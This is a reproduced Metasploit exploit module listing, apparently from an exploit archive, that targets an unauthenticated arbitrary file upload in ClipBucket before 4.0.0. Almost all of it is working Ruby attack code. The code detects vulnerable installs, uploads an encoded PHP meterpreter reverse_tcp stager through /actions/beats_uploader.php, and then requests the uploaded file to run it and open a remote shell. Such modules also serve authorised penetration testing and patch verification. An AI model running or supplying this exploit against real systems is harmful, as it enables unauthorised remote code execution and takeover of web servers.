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ClipBucket beats_uploader Unauthenticated Arbitrary File Upload

ClipBucket beats_uploader Unauthenticated Arbitrary File Upload
Posted Mar 26, 2018
Authored by Touhid M.Shaikh | Site metasploit.com

This Metasploit module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902). A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability. It is possible for an attacker to upload a malicious script to issue operating system commands. This issue is caused by improper session handling in /action/beats_uploader.php file. This Metasploit module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.

tags | exploit, arbitrary, php, file upload
systems | linux, windows, 7
MD5 | d2275d600b73e806af00c2c4d704c496

ClipBucket beats_uploader Unauthenticated Arbitrary File Upload

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##
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
It is possible for an attacker to upload a malicious script to issue operating system commands.
This issue is caused by improper session handling in /action/beats_uploader.php file.
This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
},
'License' => MSF_LICENSE,
'Author' =>
[
'www.sec-consult.com', # Vulnerability Discovery, PoC
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '44250' ]
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Clipbucket < 4.0.0 - Release 4902', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 03 2018",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
])
end

def uri
return target_uri.path
end

def check
vprint_status('Trying to detect ClipBucket on target.')

# check for readme file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'readme')
})

unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end

unless res.code == 200 && res.body.include?('ClipBucket')
vprint_error('Could not find readme')
return CheckCode::Safe
end

# check for beats_uploader.php file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')
})

unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end

unless res.code == 200
vprint_error('Could not find beats_uploader.php')
return CheckCode::Safe
end

Exploit::CheckCode::Appears
end

def exploit

# generate the PHP meterpreter payload
stager = '<?php '
stager << payload.encode
stager << '?>'

# Setting POST data
post_data = Rex::MIME::Message.new
post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
data = post_data.to_s


print_status('Uploading payload..')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

jsonres = res.get_json_document

# If the server returns 200 and success yes, we assume we uploaded the malicious
# file successfully
unless res && res.code == 200 && jsonres['success'] == 'yes'
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
print_good('Looking For Payload..')
pdir = jsonres['file_directory']
file_name = jsonres['file_name']
pext = jsonres['extension']
print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")

# Payload name
pname = "#{file_name}.php"

# Cleanup is Good Idea .
register_files_for_cleanup(pname)

print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'actions', pdir, pname)
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res && res.code != 200
print_error('Unexpected response, probably the exploit failed')
end
end
end

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